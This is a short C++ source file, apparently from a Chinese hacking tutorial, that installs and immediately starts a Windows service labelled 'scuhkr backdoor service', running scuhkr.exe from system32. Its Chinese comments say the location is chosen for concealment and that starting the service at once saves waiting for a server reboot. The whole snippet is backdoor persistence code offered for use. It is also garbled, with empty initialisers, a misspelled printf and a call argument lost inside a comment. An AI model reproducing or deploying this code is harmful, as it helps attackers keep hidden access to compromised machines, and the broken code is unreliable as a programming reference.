// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服务控制管理器句柄
hService = NULL; //服务句柄
char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=; //我们要把我们后台执行的程序放在这里,一般就是在admin$system32里,
隐蔽性高
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
{
pirntf("OpenSCManager failedn");
return;
}
GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //应用程序绝对路径
if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄
"scuhkr", //服务名
"scuhkr backdoor service", //显示用的服务名
SERVICE_ALL_ACCESS, //所有访问权限
SERVICE_WIN32_OWN_PROCESS, //私有类型
SERVICE_DEMAND_START, //自启动类型 SERVICE_ERROR_IGNORE, //忽略错误处理
szExePath, //应用程序路径
NULL,
NULL,
NULL,
NULL,
NULL)) == NULL)
{
printf("%dn", GetLastError());
return;
}
//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
if(StartService(hService, 0, NULL) == FALSE)
{
printf("StartService failed: %dn", GetLastError());
return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService); //关闭服务句柄
CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
} |
网友评论